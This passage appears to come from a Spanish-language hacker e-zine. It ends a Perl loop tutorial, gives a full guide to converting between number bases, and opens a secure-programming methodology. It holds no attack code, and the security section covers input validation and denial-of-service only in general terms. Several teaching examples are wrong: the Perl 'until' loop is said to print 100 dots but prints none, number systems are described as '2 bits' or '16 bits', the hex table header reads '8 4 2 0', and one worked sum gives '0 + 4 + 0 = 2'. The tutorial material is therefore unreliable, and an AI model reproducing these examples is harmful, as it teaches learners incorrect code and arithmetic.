  @ministros se ejecuta este bloque de comandos { 
   imprimir "bueno pero -- "
   imprimir el elemento de @ministros en la posicion $ciclo-1
   imprimir " -- serviria como ministro si tuviera educacion \salto de linea"
   } fin del bloque
  ---------------

  La razon por la cual se usa el $ciclo-1 es porque a $ciclo se le suma uno
  en el while DESPUES de verificar la condicion y por lo tanto dentro del
  ciclo tendra un numero mayor. De esta manera se llegaria a tener un
  $ministros[7] que no existe, aunque PERL no daria errores :) sino que
  imprimiria un elemento vacio, haz la prueba!


  UNTIL
  -----
  Es un "HASTA QUE" y hace lo contrario de while, se ejecuta HASTA que se
  cumple esa condicion:

  my $cont=0;
  until ($cont < 100) 
		{ 
		print ".";
		$cont = $cont +1;
		}
  print "\n";

  Interpretado esto seria 

  hasta que $cont sea menor que 100 se imprime "." y se suma uno a $cont

  Eso nos dara como resultado 100 puntos en la pantalla, tambien eso lo podemos escribir asi:

  print "." until (my $cont++ < 100);


  Cuando yo cuente diez le echamos bolas: FOR y FOREACH
  -----------------------------------------------------

  FOR
  ---
  Es una instruccion que se ejecuta "por" un numero determinado de veces.

  for (1..10) { print "esto se imprime 10 veces \n"; }

  El comando tiene sus ma~as y variantes pero no reparemos en ellas ahora ;)


  FOREACH
  -------
  Realizara el bloque una vez "POR CADA" elemento del arreglo al cual se
  haga referencia:

  (*) NOTA: se hara uso de la "variable implicita" $_ despues del codigo la
            explico en detalle

my @canal = qw(kl0nk z3tA NiEtZsChE-2k M4STR4X CaponeX D0ct0r_LKM elreviron);

foreach (@canal)
	{
	print "en el canal esta:     $_    \n";
	print "------------------------------\n";
	}


  Bien, explico lo de las variables implicitas y vamos a comerciales:

  La variable implicita $_ usada en este caso es el elemento (dato escalar)
  al cual se esta haciendo referencia en un ciclo.

  En el ejemplo, POR CADA elemento del arreglo @canal se ejecuta el bloque y
  en el bloque se imprime "en el canal esta: " seguido de esta "variable
  implicita" pero que es esta variable, despues de todo? 

  Bien, es el dato (en este caso un escalar) al cual se esta haciendo
  referencia en el bloque y por la cual el bloque se ejecuta. Mas
  explicitamente: por cada ELEMENTO de @canal se efectua el bloque...
  entonces... Gracias a quien se efectua el bloque esa vez? pues gracias a
  ESE dato (implicito)

  Miren este ejemplo, donde reuno todo lo anterior y despues nos vamos a
  comerciales, asi dejamos algo para la leccion siguiente ;)

--------- final.pl ------------
[++] perl/final.pl
#!/usr/bin/perl
# final.pl
# Hagamos un resumen y vayamos a comerciales

use warnings;
use strict;

my @canal = qw(kl0nk z3tA NiEtZsChE-2k elreviron beren- _FR0D0)  ;

print "\n\n\n";
print "En #otv y #linuxayuda de DALNET se la pasan metidos: \n";
print "----------\n";
print "$_\n" foreach (@canal);
print "----------\n\n";

# ahora hagamos justicia con los de esta lista

foreach (@canal)
{
   if ($_ ne "elreviron")
      {
      print "ah, $_, Bienvenido\n";
      }
        else  {
               print "se puede saber que co~o hace $_ aca???";
               print " SAQUEN A ESE TIPO !!!\n";
               }
   print "----------------\n";
}
[--]
--------- final.pl ------------

  NOTA: el "ne" en la funcion IF significa "diferente de" 
 

  En la proxima edicion terminamos con la teoria basica y nos metemos de
  una vez con ejercicios practicos como: "llevando el reporte del NMAP de
  255 IPs a un archivo sin datos inutiles" pero sin saber bien esto que
  acabo de explicar no tiene sentido explicar lo otro, si quieren unos
  problemas para resolver e ir acostumbrandose a programar en PERL se me
  ocurren unas cositas sencillas:

  - Como hacer un loop infinito con WHILE
  - Como Hacer un loop infinito con UNTIL
  - Como Hacer un programa que despues de imprimir todos los elementos de un
    arreglo, reporte el numero de elementos que tiene.
  - Un programa que calcule sumatorias? (es decir 1+2+3+4+5+6+7...etc)


  PERL: "there is more than one way to do it"



                                                        elreviron

                                                    elreviron@otv.org.ve

<EOF>


-[ 4x07.txt ]----------------------------------------------------------------
-[ Conociendo a nuestro amigo (o enemigo) ]-------------[ Mr. kl0nk Manson ]-
--------------------------------------------------------[ kl0nk@otv.org.ve ]-


  Indice
  ------
  * Introduccion.
  * Contenido:
    0. Conocimiento previo.
    a.- Transformaciones
	a1. Binario a Decimal.
	a2. Decimal a Binario.
	a3. Octal a Binario.
	a4. Binario a Octal.
	a5. Octal a Decimal.
	a6. Decimal a Octal.
	a7. Hexadecimal a Binario.
	a8. Binario a Hexadecimal.
	a9. Hexadecimal a Decimal.
	a10. Decimal a Hexadecimal.
	a11. Hexadecimal a Octal.
	a12. Octal a Hexadecimal.
    
    
    b.- Operaciones
    
    Sumas:
    
    b1.1.- Binario
    b1.2.- Octal
    b1.3.- Hexadecimal
    
    Restas
    
    b2.1.- Binario
    b2.2.- Octal
    b2.3.- Hexadecimal
    
    Multiplicacion
    b3.1.- Binario
    b3.2.- Octal
    b3.3.- Hexadecimal

    Division
    b4.1.- Binario
    b4.2.- Octal
    b4.3.- Hexadecimal
    
    
  * Conclusion.


  Introduccion
  ------------
  
  Este paper tiene como fin explicar como hacer transformaciones en los 
  sistemas Binarios, Octal, Decimal y Hexadecimal, Sumas, restas, 
  Multipliaciones y Divisiones, ademas del sistema BCD. Este paper 
  tambien va dedicado a Gustavito, Gracias a su empuje pude escribir este
  paper. 
  
  Saludos a los panas que estubieron comiendo HEX y otros quimicos conmigo:
  LiteSYS, vbxsys, inouttime, Manuel B, Talivan.  
  
  

  0. Conocimiento previo.
     --------------------
  
  Para poder entender este articulo debemos saber lo siguiente:
  
  a.- Binario: Se traduce como 2 bits, los cuales son: 0 y 1
  b.- Octal: Se traduce como 8 bits que van de 0-7
  c.- Decimal: Se traduce como 10 Bits que van de un rango de 0-9, donde
      los numero mayores a 9 son conbinaciones de el mismo sistema.
  d.- HexaDecimal: Se traduce como 16 bits los cuales tan dentro del
      rango de 0-15, ademas de que:
      
      10 es igual a la letra A
      11 es igual a la letra B
      12 es igual a la letra C
      13 es igual a la letra D
      14 es igual a la letra E
      15 es igual a la letra F
     
  Sabiendo esto, empecemos con las transformaciones ...
  
    
  1. Transformacion de Binario a Decimal
     -----------------------------------
  
  Esta se hacer elevando de atras hacia adelante la cadena binaria, para ello
  se utilizara la base 2 y se le sumara al siguiente bit, ejemplo:
  
  
  100101100 a Decimal
  -------------------
  
  a. Se separan los Bits
  
     1   0   0   1   0   1   1   0   0
  
  b. Luego se elevan de atras hacia adelante, tomando en cuenta que la base
     es 2 y que empieza desde el cero (0)

     1x2^8  0x2^7  0x2^6  1x2^5  0x2^4  1x2^3  1x2^2  0x2^1  0x2^0

  c. Ahora se hace una suma sucesiva entre ellos:     
     
     1x2^8 + 0x2^7 + 0x2^6 + 1x2^5 + 0x2^4 + 1x2^3 + 1x2^2 + 0x2^1 + 0x2^0  

  d. El resultado deberia ser:
  
     256 + 32 + 8 + 4 = 300
     
  Y con esto hemos llevado el el numero binario 100101100 al sistema decimal.



  2. Transformacion de Decimal a Binario
     -----------------------------------
  
  Para esta transformacion simplemente se tomara el numero decimal y se 
  dividira entre 2 tantas veces hasta que su residuo sea 0. Ejemplo:
  
  
  300 en Decimal a Binario
  ------------------------
  
  300 / 2 = 150 (0) 
  150 / 2 = 75  (0)
  75  / 2 = 37.5 (Tomamos el 37 lo multiplicamos por 2 y se lo restamos
                  al dividendo y el resto siempre debe dar 1) (1)
  37  / 2 = 18.5 (Aplicamos lo mismo de lo de arriba y el resto siempre
                  debe dar 1) (1)
  18  / 2 = 9 (0)
  9   / 2 = 4.5 (Ya saben lo que deben de hacer) (1)
  4   / 2 = 2 (0)
  2   / 2 = (0) (1)


  Las divisiones nos han arrojado los siguientes bits:

  300 / 2 = (0)      <-|
  150 / 2 = (0)        |
  75  / 2 = (1)        |
  37  / 2 = (1)        |  
  18  / 2 = (0)        |
  9   / 2 = (1)        |
  4   / 2 = (0)        |
  2   / 2 = (0) (1)   -|
  
  Ahora para ordenarlo lo tomamos de abajo hacia arriba:
  
  1 0 0 1 0 1 1 0 0
  
  Y ya lo hemos llevado el numero 300 que esta en decimal a binario.
  


  3. Transformacion de Octal a Binario
     ---------------------------------

  5432
  
  a.- Lo separamos:
  
  5  4  3  2
  

  b.- Ahora lo transformamos en binario (2^3), donde tomamos 3 bits

      4 2 1
    -------- 
  5 = 1 0 1
  4 = 1 0 0
  3 = 0 1 1
  2 = 0 1 0
  
  c.- Ahora cambiamos los numeros decimal por el resultado en binario:
  
  101 100 011 010
  
  y Con esto hemos conseguido obtener la transformacion de Octal a Binario.
  

  4. Transformacion de Binario a Octal
     ---------------------------------
  
  Simplemente agarramos el conjunto de bits y luego lo agrupamos de 3 en 3
  de derecha a izquerda, si nos llegan a faltar bits el final de la cadena 
  (cuando estemos agrupando) pues lo rellenamos con tanto ceros nos haga 
  falta, ejemplo:
  

  101100110010 en Binario a Octal
  -------------------------------
  
  a.- Lo separamos en grupos de 3 de izquierda a derecha:
  
  101 100 110 010
  
  b.- Sacamos el valor en decimal de cada uno de los grupos:
  
  101 = 1x2^2 + 0x2^1 + 1x2^0 = 4 + 0 + 1 = 5
  100 = 1x2^2 + 0x2^1 + 0x2^0 = 4 + 0 + 0 = 4
  110 = 1x2^2 + 1x2^1 + 0x2^0 = 4 + 2 + 0 = 6
  010 = 0x2^2 + 1x2^1 + 0x2^0 = 0 + 4 + 0 = 2
  
  Ahora tomamos los valores de Arriba hacia Abajo:
  
  5 4 6 2 
  
  Con esto hemos llevado el valor 101100110010 a octal.


  5. Transformacion de Octal a Decimal
     ---------------------------------

  Simplemente tomamos el numero en octal, lo separamos y lo multiplicamos
  por base 8 (2^3 = 8), ejemplo:
  
  1642 en octal a Decimal
  -----------------------
  
  a.- Lo separamos:
  
  1  6  4  2
  
  b.- Multiplicamos por 8 (la base) a cada uno de los numeros
  
  1x8  6x8  4x8  2x8  
  
  c.- Ahora lo elevamos a la 0,1,2 .. N de derecha a izquierda
  
  1x8^3  6x8^2  4x8^1  2x8^0
  
  d.- Luego hacemos una suma sucesiva
  
  1x8^3 + 6x8^2 + 4x8^1 + 2x8^0 = 512 + 384 + 32 + 2 = 930
  
  Luego 930 es nuestro valor en decimal.
  
     
  6. Transformacion de Decimal a Octal
     ---------------------------------

  Para ello tomamos el numero en decimal y lo dividimos entre 8 tantas
  veces sea necesario hasta que nuestro residuo nos de 0. Ejemplo:
  
  
  930 en Decimal a Octal
  ----------------------
  
  a.- Hacemos una division comun y corriente
  
   930 / 8
 - 8     116
   ---   
 - 13 
    8    
   ---
 -  50
    48 
   ---
    (2) 
   
  El 2 sera uno de nuestros resultados, ahora dividimos el cociente entre 8
  
   116 / 8
 -  8    14
   ---
    36
 -  32
   ---
    (4)    
  
  El 4 sera otro valor de nuestro resultado, de nuevo volvemos a dividir el
  cociente entre 8
  
   14 / 8
 -  8   1
   --
   (6)
   
  Cuando el cociente nos da 1 como resultado lo tomamos como valor, si es 
  cero no hay necesidad de tomarlo. Ahora agarramos de el ultimo valor
  al primer valor:
  
  1 6 4 2
  
  Y 1642 es el equivalente en octal al 930 en decimal.
  

  
  7. Transformacion de Hexadecimal a Binario
     ---------------------------------------
     
  La forma mas facil de hacerlo es atravez de la tabla binaria que es la 
  siguiente:
     

            8  4  2  0 
     -------------------
     | 0 |  0  0  0  0 |
     | 1 |  0  0  0  1 |
     | 2 |  0  0  1  0 |
     | 3 |  0  0  1  1 |
     | 4 |  0  1  0  0 |
     | 5 |  0  1  0  1 |
     | 6 |  0  1  1  0 |
     | 7 |  0  1  1  1 |
     | 8 |  1  0  0  0 |
     | 9 |  1  0  0  1 |
     | A |  1  0  1  0 |
     | B |  1  0  1  1 |
     | C |  1  1  0  0 |
     | D |  1  1  0  1 |
     | E |  1  1  1  0 |
     | F |  1  1  1  1 |
     -------------------
  
  Ejemplo: Transformar 29A en Binario
  
  a.- Descomponemos el 29A
  
  2  9  A
  
  b.- Buscamos en la Tabla el Valor de 2, 9 y A
  
  2 = 0010
  9 = 1001
  A = 1010
  
  c.- Substituimos el valor HEX por el Binario
  
  001010011010
  
  Y hemos obtenido la transformacion
  

  8. Transformacion de Binario a Hexadecimal
     ---------------------------------------
  
  Es muy parecido a lo de arriba, ejemplo:     
  
  001010011010 a HEX
  
  a.- Separamos en grupos de 4 de Derecha a Izquierda, si nos hace falta
      rellenamos con ceros.

  0010  1001  1010
  
  b.- Buscamos el respectivo valor en la tabla binaria o por la formula de 
      deduccion (trabajando con base 16):
      
  0010 = 2
  1001 = 9
  1010 = A
  
  Donde nuestra transformacion da como resultado 29A
  
  
  9. Transformacion de Hexadecimal a Decimal
  
  Esta transformacion consiste en separar los digitos, multiplicarlo por 16
  (2^4 = 16) y elevarlo a la 0,1,2..N de Izquierda a Derecha ademas de 
  sumarlos sucesivamente, ejemplo:
  
  29A a Decimal
  -------------
  
  a.- Separamos los digitos, como sabemos A = 10, entonces:
  
  2  9  A  =  2  9  10
  
  b.- Ahora multiplicamos cada uno de los digitos por 16
  
  2x16  9x16  10x16
  
  c.- Elevamos cada una de las bases a la 0,1,2..N de Izquierda a derecha y
      luego sumamos sucesivamente
  
  2x16^2 + 9x16^1 + 10x16^0 = 512 + 144 + 10 = 666
  
  Luego 666 en decimal es equivalente a 29A en Hexadecimal.
  

  10. Transformacion de Decimal a Hexadecimal
     ---------------------------------------
 
  Esta es parecida a la transformacion de Decimal a Octal, lo unico que 
  cambia es que en vez de dividir entre 8 lo vamos hacer entre 16. 
  
  Ejemplo:
  

  666 en Decimal a HEX
  --------------------
  
  a.- Hacemos una division comun y corriente pero nuestro dividendo sera
      16
  
   666 / 16
 - 64    41
   --- 
    26
 -  16
   ---
   (10)
   
  
  El (10) = A es uno de nuestros resultados, ahora dividimos el cociente 
  entre 16
  
   41 / 16
 - 32   2
   --
   (9)
 
  El 9 es otro de los valores que estamos buscando, como 2 no es divisible 
  entre 16 entonces lo tomamos como valor final y nos quedaria:
  
  10 9 2 , Intercambiando posiciones:
  
  2 9 10 , donde 10 = A
  
  29A
  
  29A es equivalente a 666 en decimal.
  
  
  11. Transformacion de Hexadecimal a Octal
      -------------------------------------
     
  Para esta transformacion hay que tener en cuenta que una es base 16 y la 
  otra es base 8, es decir llevarlo de 2^4 a 2^3, para ello primero hay que 
  llevarlo a binario el valor en HEX, luego agrupar los bits de 3 en 3 de 
  derecha a izquerda, claro esta que si te faltan bits para agrupar al final 
  de la cadena debes rellenarla con ceros. Ejemplo:
  
  AF754.379A a Octal
  ------------------

  a.- Llevamos AF754.379A a binario:
  
  1010 1111 0111 0101 0100 . 0011 0111 1001 1010
  
  b.- Agrupamos de 3 en 3 de Derecha a Izquierda
  
  10 101 111 011 101 010 100 . 0 011 011 110 011 010

  Como podemos ver, nos ha quedado 10 y 0 sin estar en grupos, para ello
  simplemente le colocamos a su izquerda tanto ceros sean necesarios para 
  convertirlos en un grupo de 3 bits. al 10 le colocamos un cero y quedaria
  como 010 y al 0 le colocamos 2 ceros a la izquerda y quedaria 000
  
  010 101 111 011 101 010 100 . 000 011 011 110 011 010
  
  c.- Ahora buscamos en la tabla binaria el respectivo valor decimal del
      binario

           4  2  0 
     ---------------
     | 0 | 0  0  0 |
     | 1 | 0  0  1 |
     | 2 | 0  1  0 |
     | 3 | 0  1  1 |
     | 4 | 1  0  0 |
     | 5 | 1  0  1 |
     | 6 | 1  1  0 |
     | 7 | 1  1  1 |
     ---------------
  
  010 = 2
  101 = 5
  111 = 7
  011 = 3
  101 = 5
  010 = 2
  100 = 4
  
  . = ,
  
  000 = 0
  011 = 3
  011 = 3
  110 = 6
  011 = 3
  010 = 2
  
  El Valor obtenido es 2573524,033632 en Octal.
  
  
  12. Transformacion de Octal a Hexadecimal
      -------------------------------------
  
  Simplemente agarramos el numero en Octal, lo transformamos en binario, este
  nos dara grupos de 3 pero alos agrupamos todos los bits y hacemos grupos de
  4 bits, luego buscamos en la tabla su respectivo valor:
  
  Ejemplo:
  

  2573524,033632 a HEX
  --------------------
  
  a.- Lo transformamos a binario:
  

  010 101 111 011 101 010 100 . 000 011 011 110 011 010
  

  b.- Ahora los agrupamos en grupos de 4 de Derecha a Izquerda
  
  0 1010 1111 0111 0101 0100 . 00 0011 0111 1001 1010
  
  c.- Relenamos con ceros los que nos quedaron solitos:
  
  0000 1010 1111 0111 0101 0100 . 0000 0011 0111 1001 1010
  
  d.- Buscamos en la tabla binaria los respectivos valores:
  
  0000 = 0
  1010 = 10 = A
  1111 = 15 = F
  0111 = 7
  0101 = 5
  0100 = 4
  
  , = .
  
  0000 = 0
  0011 = 3
  0111 = 7
  1001 = 9
  1010 = 10 = A
 
  Nos quedaria:
  
  0AF754 . 0379A
  
  Como el cero a la izquierda no vale pues lo quitamos, entonces nos quedaria:
  
  AF754.379A y este es el valor en HEX.
  
    
  
  To Be continued ...
  


<EOF>


-[ 4x08.txt ]----------------------------------------------------------------
-[ Estandar de Programacion Segura ]-----------------------------[ Bit-Man ]-
---------------------------------------------------[ victor@bit-man.com.ar ]-


  Cuando se expone una interfaz (de programacion, usuario, etc.) subuso
  puede ser subvertido (uso abusivo). Es este abuso el que debe ser evitado
  (segun en que lado uno se encuentre parado). Ya que planeamos realizar un
  standard de esta metodologia desde el lado de la programacion, y
  seguramente Ud. es un programador, arquitecto de sistemas, team leader u
  otra cosa por el estilo querra mantener la interfaz limpia, usable y sin
  componentes que puedan ser abusadas.

  A medida que las aplicaciones de Internet comienzan a ser mas y mas
  complejas, y la generacion de codigo comienza a ser cada vez mas
  automatizada a traves del uso de wizards, ambientes de programacion,
  frameworks y otras herramientas por el estilo comenzamos a estar en franca
  desventaja. La tecnicas para programacion segura es algo que ha sido
  abordado desde muchas formas y por muchos lenguajes. Lo que se trata de
  hacer es una unica metodologia independiente de lenguajes de programacion,
  ambientes de programacion y herramientas de desarrollo.

  La idea de convertirlo en un standard abierto nos da el inmediato beneficio
  que puede ser usado por cualquiera, pero esto tambien incluye a los chicos
  malos. Sin embargo, si se sigue una metodologia seguramente los errores mas
  comunes ya no aparecen. La contrapartida es que cuanto mas programadores
  lean y entiendan este manual, mayor es la posibilidad de desarrollar
  aplicaiones en forma segura y ayudar a mejorar esta tecnologia.


  [ Agradecimientos ]

  Quisiera agradecer a David A. Wheeler por escribir "Secure Programming for
  Linux and Unix HOWTO" [1] que tanto me inspiro para hacer este trabajo.
  Tambien una agrdecimiento a quienes escribieron "SECPROG@SecurityFocus.com
  working document" [9], algo asi como el "Primer Diccionario" sobre
  "Programacion Segura.

  Debo tambien dar un agradecimiento muy especial a Pete Herzog, por toda la
  ayuda brindada en muchos de los aspectos de este trabajo.

  Todos aquellos que contribuyeron a este manual en alguna forma son
  mencionados al principio de este documento. Cada quien recibe un
  reconocimiento por el tipo de contribucion, y no por lo que ha contribuido.

  El uso de este ocultamiento es para prevenir la polarizacion al momento de
  la interpretacion. Solo en la traduccion del documento se saben las
  personas que realizaron la contribucion, ya que el traductor se convierte
  en el contacto del documento traducido que incluye, no solo el mantener
  actualizado el documento, sino tambien las FAQs, agregados y comentarios
  hechos en el original, en Ingles, y traducido al lenguaje deseado.


  [ Terminos ]

  * DoS (Denial of Service): Ataque cuyo porposito es no permitir el uso del
                             sistema. No afecta los datos almacenados en el
                             sistema.

  * out-of-the-box: instalacion standard, utilizando los parametros por
                    defecto.

  * super-user: es un usuario especial (conocido como root o administrador)
                que no tiene restricciones de acceso dentro del sistema.


  [ Audiencia ]

  Este manual fue escrito para profesionales de la programacion que quieren
  establecer lineamientos y/o procedimientos para la programacion segura en
  cualquier proyecto de Tecnologia de la Informacion (IT), independiente del
  lenguaje de programacion, ambiente de ejecucion y herramientas de
  desarrollo.

  Este manual no examina la forma correcta de usar una herramienta de
  desarrollo en particular o como programar en un lenguaje dado.

  Los desarrolladores encontraran muy util este manualen realizar mejores
  programas, mas resistentes a ambientes hostiles tales como Internet.


  [ Alcance ]

  El objetivo es realizar un standard de metodologia de programacion segura
  que pueda ser usado en cualquier proceso, manual o automatico, y permita
  alcanzar los requerimientos de seguridad para maximizar el uso y evitar
  su abuso. El resultado indirecto es la creacion de una disciplina que
  pueda actuar como un punto central en todas las pruebas de seguridad
  independientemente del lenguaje de programacion, ambiente de ejecucion y
  herramientas de desarrollo.


  [ Excepciones ]

  Los casos no cubiertos, aun, en este trabajo son : 

  * Programas cuyo proposito es el manejo de la seguridad.
  * Programas que deben correr como super-user.


  [ Preparacion para trabajar en un ambiente hostil ]

  Esto no es tarea facil, y fue hecho en diferentes maneras, cada una
  cubriendo su punto de vista, comenzando en diferentes formas, etc. Aqui
  establecere las mias propias.

  Si le damos una mirada a Secure Programming for Linux and Unix HOWTO [1]
  (seccion 2.2, Security principles) la programacion segura puede ser
  interpretada como el cumplimiento de los siguientes objetivos:
  confidencialidad, integridad y disponibilidad. Esto es correcto y puede
  ser moldeado para cualquier ambiente en particular, pero es una muy buena
  respuesta generica. El problema comienza en como alcanzar esto objetivos.
  Lo que se tratara de enfatizar no es el arreglo de los mismos, sino en una
  metodologia open source que provea la base para el desarrollo de metodos
  y/o procedimientos.

  El trabajo de un sistema es implementar requerimientos funcionales que,
  debidamente acordados, puedan ser probados. En una aproximacion mas
  detallada, la codificacion se hace para cumplir con este objetivo pero en
  una escala atomica (a nivel de subrutina o procedimiento de programacion).

  Lo que no es parte de los requerimientos funcionales es la disponibilidad
  del sistema, la que establece las condiciones de uso tales como en que
  dias sera usado (laborables, feriados, etc.), ventana diario de uso (9:00
  a 17:00 hs, etc.), maximo tiempo permitido sin acceso al sistema (2 horas
  mensuales, etc.) y toda una serie de requerimientos que definen el
  denominado Acuerdo de Nivel de Servicio (SLA o Service Level Agreement).

  Es en este punto donde, ejecutando en ambientes hostiles como Internet,
  poder brindar los niveles requeridos del SLA (integridad), imposibilitar
  el robo de informacion (seguridad) o proveer la informacion a la persona
  correcta (confidencialidad ) es de particular interes.

  Una vez que conocemos sobre este y su impacto negativo, hay una gran
  preocupacion en coomo adoptar una aproximacion sistematica para resolverlo.

  Para comenzar, veamos los factores que dan comienzo a esta problematica :

  * Que no hacer: es muy dificil construir sobre lo que no debe hacerse.
                  Protegerse de algo que no se sabe su forma exacta es una
                  tarea muy dura (un muy buen articulo sobre este tema puede
                  verse en el newsletter Crypto-gram de Noviembre de 1999
                  [2]). Es similar a la defensa contra los microbios, uno no
                  puede protegerse a menos que se sepa de su existencia y de
                  como derrocarlos.

  * Complejidad: esto da origen a uno de los mas viejos y dificiles
                 problemas de la humanidad. Se llama comunicacion, y segun
                 se agrega complejidad a un sistema este puede manejarse
                 mejor si se divide en tareas mas peque~as, se asignan a
                 distintos equipos que deben comunicarse entre si para
                 alcanzar el objetivo: cuanto mas equipos hay mayor cantidad
                 de comunicaciones deben establecerse y, como es sabido,
                 convierte a la construccion del sistema en un problema de
                 crecimiento exponencial (lo mejor es dar una mirada al
                 titulo software essential difficulties de "No silver
                 bullet" [3]). Esto favorece la existencia de errores
                 ocultos que son cubiertos por el sindrome de "hay muchos
                 lugares donde mirar".


  [ Metodologia ]

  Como este trabajo es parte de "The Open-Source Security Testing Methodology
  Manual" (OSSTMM), la misma metodologia sera usada, estableciendo los
  Parametros y Tareas orientadas a la Programacion Segura, pero con una
  aproximacion un tanto diferente. En OSSTMM se descubre que hay un error, y
  ahora queremos saber donde se haya ubicado, como arreglarlo y evitar su
  aparicion en futuras codificaciones.

  Esta seccion trata de los dos primeros objetivos (descubrimiento y
  reparacion) mientras que el trabajo de como evitar estos problemas es un
  tema a ser tratado en un trabajo a ser desarrollado (no incluido en este).


  [ Datos entrantes ]

  Debe notarse que las interfaces se basan en la implementacion de alguna
  tecnologia y que la explotacion de los problemas de seguridad deben ser
  arreglados para obtener una completa solucion al problema. No es
  suficiente con arreglar la implementacion de la interfaz o el programa
  bajo prueba.

  Algo a tener en cuenta es que los dato de entrada no son solo los
  adquiridos a traves del usuario o de otros aplicaciones, sino tambien los
  obtenidos desde el sistema (fecha, variables de ambiente, etc.) y otro
  software que forman la base para el sistema. Resumiendo, cada porcion de
  datos que alimenta a nuestro programa o sistema debe ser analizado.


  [ Validacion de patrones de datos de entrada ]

  Deben probarse los datos de entrada contra patrones de aceptacion y
  rechazo. Esto puede dividirse entre diferentes pantallas, scritps, URLs,
  etc. para manejarlo segun los recursos (tiempo, costos) y la gente
  disponible. Se recomienda probar todas las interfaces disponibles (GUI,
  API, etc.) y no solamente los que son expuestos al usuario.

  En este punto quien realiza las pruebas debe hacer foco en como elaborar
  los grupos de datos que no solamente no coincidan con los patrones
  establecidos, sino que trate de explotar algun elemento proveniente de la
  arquitectura en la que el sistema se ha basado (sistema operativo,
  lenguaje de programacion, base de datos, etc.)

  Resultados esperados:

  * Una lista patrones de datos aceptados y rechazados 

  Tareas a realizar: Acetacion/rechazo de datos 

  * Verificar los datos aceptados que deben ser aceptados.
  * Verificar los datos rechazados que deben ser aceptados (falso negativo).
  * Verificar los datos aceptados que deben ser rechazados (falso positivo).
  * Verificar los datos rechazados que deben ser rechazados.

  Trabajo sobre el codigo:

  * Identificar los segmentos de codigo que manejan cada dato entrante y su
    validacion.
  * Arreglar el codigo.

  En lo referente al arreglo de codigo, y solo para esta prueba, la clave es
  no solo arreglar codigo para rechazar los datos nocivos, sino extrapolarlos
  en patrones genericos. En este punto el metodo usado para filtrar y
  rechazarlos debe ser discutido. El metodo elegido depende de las
  limitaciones del ambiente escogido, como se explica en "Ingreso de Datos"
  en el Apendice C, pero aun hay algo sobre el filtrado que debe mencionarse:
  el metodo de aceptacion y rechazo.

  Hay dos metodos basicos :

  * Patron de aceptacion: los datos ingresados se prueban contra patrones de
    aceptacion, haciendolos mas selectivos segun se descubren nuevas
    vulnerabilidades. Si ninguno de los patrones es satisfecho los datos son
    rechazados.

  * Patron de rechazo: los datos ingresados se prueban contra patrones de
    rechazo, agregando patrones a medida que se descubren nuevas
    vulnerabilidades. Si ninguno de los patrones es satisfecho los datos son
    aceptados. Si se presta atencion cad metodo tiene sus pros y contras. El
    segundo es mas facil para agregar nuevos patrones, pero requiere pruebas
    adicionales para cada patron de rechazo. El primero es mas limpio y
    generico. Por esto el metodo del Patron de aceptacion es el preferido,
    basicamente porque se trabaja en reducir los patrones de aceptacion,
    siendo asi un esquema mas proactivo mas facil de mantener y menos
    propensa a errores.

    Un ejemplo tipico de los bugs encontrados con esta prueba pueden
    encontrarse en el "Apendice A" baj el titulo "Compromiso Remote".


  [ Validacion de los limites de los datos de entrada ]

  Una vez que los datos de entrada se prueban contra los patrones
  correspondientes, puede ser que los que se obtenga no sea tan bueno. Por
  ejemplo si un identificador de una cuenta bancaria es numerica, no todas
  las combinaciones ni todas las longitudes de cuenta son son validas. Notar
  que estos limites no estan relacionados con el significado en el mundo
  real, sino con las implicancias de seguridad en cuanto a la longitud de
  las variables. Dicho de otra forma, es cuando la implementacion de la
  tecnologia (lenguajes, sistemas operativos, etc.) se lleva a limites de
  stress que hacen desviarlos de su comportamiento normal (un forma comun
  de probarlos es llamar a funciones con parametros que esten en el orden de
  los kilobytes y que se supone no deben ser mas de unos cuantos bytes).

  Resultados esperados:

  * Comportamiento del sistema a entradas validadas pero no esperadas .

  Tareas a realizar: Monitoreo de sistema

  * Uso CPU (porcentaje, tiempo, picos de uso, etc.).
  * Uso deMemoria (real, virtual, cache, etc.).
  * Uso I/O (espacio en disco, acceso en rafagas, etc.).
  * Uso de red (rechazo de paquetes, generacion, etc.).

  Trabajo sobre el codigo:

  * Identificar los segmentos de codigo que manejan cada dato entrante y su
    validacion.
  * Arreglar el codigo.

  En este punto, el analisis y codificacion es una especie de arte, porque
  hay mas importancia en el comportamiento del sistema que en los valores
  devueltos. Esto requiere un amplio conocimietno de la tecnologia que se
  utiliza, principalmente de las manejos internos del lenguaje tales como
  manejo de memoria, generacion de procesos y threads, bloqueos, IPC, etc.

  Un ejemplo de los bugs descubiertos con este tipo de pruebas puede ser
  visto en el "Apendice A" bajo el titulo "Bug de Format String". su efecto
  puede ser minimizado si las pruebas correspondientes sobre el tama~o y
  formato son realizadas.


  [ Procesos ]

  Una vez que nos protegemos del mundo exterior, debemos hacerlo de nuestro
  propia forma de codificacion y practicas internas.

  Un analisis de como proteger el proceso es basicamente la proteccion de
  todos los recursos usados por el sistema: memoria, disco, red, etc. para
  evitar su abuso por el mismo o por terceros.


  [ Consumo de recursos ]

  Cada programa hace uso de recursos (tiempo de CPu para calculos, memoria
  para almacenamiento interno y externo, archivos para almacenamiento, etc.)
  para sus propositos. Bajo ciertas condiciones es posible hacer que el
  programa comience un ciclo de consumo que termine en una caida del sistema
  (system thrashing) o una finalizacion abrupta (program dumping). Estos son
  los llamados negaciones de servisio (DoS - Denial of Service).

  Es practica normal el realizar las pruebas solo con los datos provenientes
  de patrones aceptados, pero es una buena practica hacerlo tambien con los
  provenientes de patrones rechazados y variaciones de estos (conocido como
  prueba sucia o dirty test).

  Resultados esperados:

  * Consumo de recursos y uso para cada patron de entrada y estado (referido
    a la maquina de estados implementada).

  Tareas a realizar: Monitoreo del sistema: por cada clase de recurso (CPU,
                     memoria, etc.)

  * Conveniente adquisicion de recursos.
  * Conveniente uso de recursos.
  * Conveniente liberacion de recursos.
  * Analisis/monitoreo de abrazos mortales (deadlocks).

  Trabajo sobre el codigo:

  * Identificar los segmentos de codigo que manejan cada dato entrante y su
    validacion.
  * Arreglar el codigo.

  Para evitar estas condiciones de DoS es buena practica limitar la cantidad
  de recursos usados, y rechazar peticiones cuando se alcanza un imbral de
  consumo de recursos es alcanzado.

  Un ejemplo de bugs descubiertos con este tipo de pruebas puede ser visto
  en el "Apendice A" bajo el titulo "Retencion de Recursos".


  [ Predicion del uso de recursos ]

  A veces el ser muy predictivo en el uso de recursos (lo que significa
  tener un patron de uso) no es bueno, basicamente porque ayuda a predecir
  el siguiente movimiento a ser hecho por el sistema. Esto puede ser usado
  por un atacante para personificar al sistema (ofreciendo la misma
  respuesta que el sistema original, conociendo el siguiente nombre de
